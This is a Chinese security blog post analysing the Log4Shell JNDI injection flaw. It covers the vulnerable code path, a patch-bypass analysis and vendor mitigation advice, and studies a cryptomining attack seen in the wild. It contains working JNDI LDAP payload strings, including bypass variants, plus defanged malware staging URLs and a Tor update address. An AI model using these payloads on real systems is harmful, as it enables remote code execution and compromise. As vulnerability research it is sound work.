Log4shell漏洞研究及其挖矿案例分析
本文首发于云影实验室,为本人创作,现转载到个人博客,记录一下。
原文链接:https://mp.weixin.qq.com/s/O2xHr2OEHiga-qTnbWTxQg
Apache Log4j是Apache的一个开源项目,是一个基于Java的日志记录工具,因其卓越的性能,使用极其广泛。近日该组件编号为CVE-2021-44228的漏洞Log4shell被披露,大量常用框架已经被发现存在该漏洞,本漏洞触发条件极其简单,且毋需特殊配置,风险极大。
漏洞描述:
攻击者可直接构造恶意请求,触发远程代码执行漏洞。
影响范围如下:
Apache Log4j 2.x<=2.14.1
已知受影响的组件和供应商有:
| Apache Solr |
|---|
| Apache Druid |
| Apache Struts2 |
| Apache Flink |
| Apache Dubbo |
| Apple |
| 腾讯 |
| Steam |
| 百度 |
| 滴滴 |
| 京东 |
| NetEase |
| VMwarevCenter |
| VMware |
| CloudFlare |
漏洞分析:
该漏洞归根结底是一个非常简单的 JNDI 注入缺陷,其原理在于log4j在执行lookup()时,允许开发者通过一些协议去读取本地环境变量中的配置,但是在实现中未对输入进行严格判断。
在默认情况下,特定jdk版本的JNDI支持两种特殊的协议:RMI和LDAP。在这两种情况下,lookup() 调用后会返回一个Java 对象。但是攻击者可以通过Factory间接构造一个JNDI 引用。可以从远程URL的代码库加载恶意class。
过程分析:
org.apache.logging.log4j.core.pattern.MessagePatternConverter的#format函数
将输入内容作为字符串处理,然后对于其中出现的"${",进行替换操作。

替换是一个字符串查找的过程,方法如下:将{xxx:yyy}的结构由 ':' 字符进行分割,解析为prefix和name两部分。通过prefix去strLookupMap哈希表查询对应的lookup方法,再通过实例调用lookup()方法,将name作为参数带入执行。

主要目的是在日志记录中发现 ${ ,并将表达式里的内容,替换为表达式解析后的内容,导致攻击者可以任意执行命令。
以下为存在漏洞版本strLookupMap哈希表的内容,其中包含了jndi样危险的协议。

最后跟入的触发点JndiManager.lookup如下:

以最常见的ldap类型的攻击payload为例,
${jndi:ldap://xxx.xxx.xxx.xxx/exp}
最终利用过程如下图所示,通过jndi注入,使得lookup远程调用ldap服务,再利用ldap响应将请求重定向到准备好的攻击服务器上,使目标服务器下载恶意的class代码并将其执行。

补丁分析及绕过:
修复版本2.15.0-rc1 :
补丁分析
经过diff和调试之后,主要发现两点修复:
- 第一点修复是****PatternLayout.class的#StringBuilder toSerializable方法,
这里将formnatters方法里包含的第8个formatter对象(原本是触发漏洞的MessagePatternConverter),修复为MessagePatternConverter.SimplePatternConverter类
2.14.1版本:
2.15.0-rc1版本:

分析一下,不难看出,这个类不再判断${}这种情况 ,而是直接拼接字符串。

但是这个补丁在特定情况下仍然保留了进行${}处理的方法,前提是converte被设置为LookupMessagePatternConverter。
然而rc1的补丁默认设置nolookups,想要尝试绕过,只能是在用户手动将lookup开启的情景下才能进行。因而这一绕过在现实情况下,几乎不会构成威胁。


但是为了进行后续分析,我们手动开启lookup进行后续分析。
- 第二点修复,添加白名单
递归处理等过程均没有变化,最后JndiManager.lookup触发漏洞时,添加了协议白名单

默认的协议只支持:ldap、ldaps、java
默认的Host白名单是localhost
实际上对我们的payload进行拦截的是这个OBJECT_FACTORY判断,因为我们RCE加载远程对象时,无论如何也避免不了使用Factory属性。

然而JndiManager这里的处理存在一定漏洞给了我们Fuzz的空间:
public synchronized <T> T lookup(final String name) throws NamingException {
try {
URI uri = new URI(name);
···
}
} catch (URISyntaxException ex) {
// This is OK.
}
return (T) this.context.lookup(name);
}
如果在这里触发了URI异常会直接触发lookup(name)
所以我们可以尝试构造payload使其在new URI(name)时候报错,但是在name传入context.lookup(name)的时候正常执行。
补丁绕过
知道绕过思路后,此处有两种基于此思路的绕过方法:
- 参考4ra1n师傅的思路,通过URI中加入空格触发报错:
经过测试,发现URI(name)中不进行URL编码是会报错,所以可以直接在payload中加一个空格触发报错,直接进入lookup(name)。然而lookup时候又会自动去掉这个空格。
payload:${jndi:ldap://127.0.0.1:1389/ Exploit}
成功RCE(需要用户手动开启lookup功能的基础上才可以,鉴于生产环境,绝大多数情况下,这个fuzz只存在于理论上。)

- 根据官方测试用例里,在URI后面加上脏数据:
"?Type=A Type&Name=1100110&Char=!"
同样可以触发异常绕过防护。

修复版本2.15.0-rc2 :
2.15.0-rc2的修复方法是在触发URI异常后直接return null,避免了上文的fuzz行为。

基于甲方视角的修复建议分析
本段的思路主要来自于忍者师傅的文章,探讨一下目前各大厂商流行的临时修复方案及其潜在问题:
https://mp.weixin.qq.com/s/Jaq5NTwqBMX7mKMklDnOtA
漏洞刚刚被披露出来时,几乎所有的厂商预警文章都是互相copy的,里面存在各种没有详细说明,甚至无效的修复方案,比如:

- 这些措施几乎完全是从安全调试的视角来看待问题,nolookups设置成true确实可以避免漏洞,但是禁用了所有的lookup是否会影响业务日志正常的打印输出,遇到了问题,调试找不到需要的日志有如何解决?
- 经过多次验证,给出的修复方案里设置系统环境变量这一条,并不能生效。
- 升级jdk版本只能防止一些里有LDAP和RMI产生的RCE,并不能防止敏感信息的带外攻击。
jdk版本升级
多数情况下,jdk版本升级之后攻击者最多也就只能触发一个dnslog,做不了进一步的命令执行操作。但是这并不是万无一失的,因为还存在通过dnslog带外各种敏感信息的风险。攻击者可以利用这些信息为后续的攻击做铺垫,可以参考浅蓝大佬的文章:https://mp.weixin.qq.com/s/vAE89A5wKrc-YnvTr0qaNg
里面介绍了在不出网的情况下通过 SystemProperties 和 Environment 这两个lookup的参数获取一些环境变量和系统属性,并借助dnslog传递出去。
(PS:这个dnslog.cn崩了的替代品是https://app.interactsh.com/#/)


后续该公司在通告里对修复方案进行了详细的调整:

对此笔者的建议如下:
相对最谨慎稳妥的解决方案是关闭log4j2的jndi调用后,再重新开启lookup避免影响业务功能。因为正常情况下应该不存在真的有开发者利用到了lookup里的jndi的情况。
利用log4j漏洞的挖矿攻击案例
前日,我们捕获到了一个利用log4j漏洞植入挖矿病毒的攻击行为,并对其进行了简单的分析。
其命令执行的payload位于URI中,作为路径的一部分:
\$%7Bjndi:ldap://xx.xx.xx.xx:1389/Exploit%7D

攻击者在加载恶意class文件后,执行命令:下载并以shell格式执行了log文件,查看之后该log文件内容如下:

在这里,恶意软件下载并执行各种可执行文件,然后是几个脚本。
下载完需要执行的ldm.sh文件之后,发现了连接矿池执行挖矿命令的代码:
这个矿工将自己的连接地址托管在了Tor网络的站点中,可以通过代理访问:

ldm脚本将攻击者ssh公私密钥添加到ssh列表里,实现持久化控制。

该脚本还会设置crontab任务,以定期从bvprzqhoz7j2ltin.onion/src/ldm等站点更新自己的内容。

恶意脚本还会遍历系统后台其他正在执行的进程,从中筛选出挖矿脚本,并将其kill掉(黑吃黑)。

除了利用本机执行挖矿代码,恶意脚本还能够通过提取本机的SSH 密钥,并从 bash 历史记录和 SSH 配置以及已知主机中构建一个,包含所有相关主机的列表来进行横向移动。

如果这些主机被成功连接,就会在这些主机上下载以下脚本:
hxxp://34.221.40[.]237/[.]x/3sh
hxxp://34.221.40[.]]237/[.]x/1sh
其内容与之前的log脚本大体相似,从而实现横向移动。

从脚本关联执行横向移动时,加载脚本的IP可以将这一挖矿攻击,与Muhstik僵尸网络活动关联起来。


结语:
新披露的Apache Log4j漏洞是一个利用方式简单而又丰富多样、影响范围又极其广泛的漏洞,厂商们紧急加固的同时,又有许多攻击者正在非常迅速地测试新漏洞的各种利用方式,如何快速地响应和合理地处置攻击行为,对甲方和乙方厂商都是严峻的考验,乙方在提供处置方案时要尽可能的保证严谨,对客户负责,甲方在加班加点修补漏洞的同时,也要充分保障业务的正常运转不受影响。
参考链接:
https://mp.weixin.qq.com/s/Jaq5NTwqBMX7mKMklDnOtA
https://mp.weixin.qq.com/s/vAE89A5wKrc-YnvTr0qaNg
Log4shell漏洞研究及其挖矿案例分析的更多相关文章
- MS17-010 漏洞研究——免考课题 20155104 赵文昊
免考实验与研究--MS17-010漏洞研究 研究内容 ·MS17-010漏洞的来源 ·MS17-010漏洞的攻击实例 ·MS17-010漏洞原理分析 ·MS17-010代码分析 写在前面:这次对一个漏 ...
- 《2018年云上挖矿态势分析报告》发布,非Web类应用安全风险需重点关注
近日,阿里云安全团队发布了<2018年云上挖矿分析报告>.该报告以阿里云2018年的攻防数据为基础,对恶意挖矿态势进行了分析,并为个人和企业提出了合理的安全防护建议. 报告指出,尽管加密货 ...
- 第2次作业:stream案例分析
摘要:本次随笔是对stream软件进行一次案例分析,以个人观点分析stream为什么成功. 一.介绍产品相关信息 1.我选择的商品是stream 2.选择该产品的主要原因准要是因为自己本身喜欢玩这个平 ...
- [FreeBuff]Trojan.Miner.gbq挖矿病毒分析报告
Trojan.Miner.gbq挖矿病毒分析报告 https://www.freebuf.com/articles/network/196594.html 竟然还有端口转发... 这哥们.. 江民安全 ...
- APP的案例分析
很多同学有误解,软件项目管理是否就是理论课?或者是几个牛人拼命写代码,其他人打酱油的课?要不然就是学习一个程序语言,搞一个职业培训的课?都不对,软件项目管理有理论,有实践,更重要的是分析,思辨,总结. ...
- Java设计模式—门面模式(带案例分析)
1.门面模式的定义: 门面模式(Facade Pattern)也叫做外观模式,是一种比较常用的封装模式,其定义如下: 要求一个子系统的外部与其内部的通信必须通过一个统一的对象进行.门面模式 ...
- 开始 python programming第三版案例分析
最近研究python,打算将python programming第三版案例分析下 但是全书1600多页 比较费时 而且 介绍太多 感觉没有必要! python programming 堪称经典之作 第 ...
- java 并发基础,及案例分析
对于我们开发的网站,如果网站的访问量非常大的话,那么我们就需要考虑相关的并发访问问题了,然而并发问题是令我们大多数程序员头疼的问题,但话又说回来了,既然逃避不掉,那我们就坦然面对吧~今天就让我们深入研 ...
- SOA架构设计的案例分析
面向服务的架构(SOA)是一个组件模型,它将应用程序的不同功能单元(称为服务)进行拆分,并通过这些服务之间定义良好的接口和契约联系起来.接口是采用中立的方式进行定义的,它应该独立于实现服务的硬件平台. ...
随机推荐
- java-servlet-EL表达式和java标签
1 Servlet线程安全问题 1st. 为什么说servlet会有线程安全问题? 容器默认情况下,对于某个servlet,只会创建一个实例. 容器收到一个请求,就 ...
- 我写的蓝宝石留言本php版 v4.5
蓝宝石留言本php版v4.5采用原生php编写,在php5.6~php7.x下调试通过.本留言本使用了utf-8编码. include/config1.php是数据库连接参数的配置文件, includ ...
- Vue3 + Socket.io + Knex + TypeScript 实现可以私聊的聊天室
前言 下文只在介绍实现的核心代码,没有涉及到具体的实现细节,如果感兴趣可以往下看,在文章最后贴上了仓库地址.项目采用前后端模式,前端使用 Vite + Vue3 + TS:后端使用 Knex + Ex ...
- ByteBuffer数据结构
- Python自学教程7:字典类型有什么用
字典是Python中的一个重要操作,如果字典玩得顺,很多其他的数据类型就可以一通百通. Python字典的定义 字典使用一对大括号进行定义,键值对之间使用逗号隔开,键和值使用冒号分隔. 键必须是不可变 ...
- 关于stm32f10xRB系列的PB5和PB12外设冲突问题
上周在公司做了一个项目,调试一个mcu,本以为很简单的调试一下裸机驱动,但是调试过程中遇到了一些问题让我觉得比较有意思,记录一下. 1.关于stm32的SMBUS功能的介绍 由于笔者也没有玩过 ...
- 【c#】仅1600行代码 2D魔方游戏源码-纯WinForm
想起以前高三的时候写过一个很无脑的程序,那个时候.net5.0都还没影儿呢,,现在分享一下.一个平面展开的魔方游戏. 这个是1.0版本,有些许bug. 比如左边的格子操作不了. 「2d cube.ex ...
- MQ系列4:NameServer 原理解析
MQ系列1:消息中间件执行原理 MQ系列2:消息中间件的技术选型 MQ系列3:RocketMQ 架构分析 1 关于NameServer 上一节的 MQ系列3:RocketMQ 架构分析,我们大致介绍了 ...
- 第三十三篇:关于ES6,JSON和Webpack
好家伙 1.什么是ES6? ECMAScript是javascript标准 ES6就是ECMAScript的第6个版本 (大概是一个语法标准规范) 2.什么是JSON? JSON 是什么,在数据交换中 ...
- KingbaseES 绑定变量与游标共享
对于重复执行的SQL,需要使用绑定变量,避免SQL的重复解析.但是,并不是说使用了绑定变量,就一定能避免硬解析.具体可以参见:https://www.cnblogs.com/kingbase/p/16 ...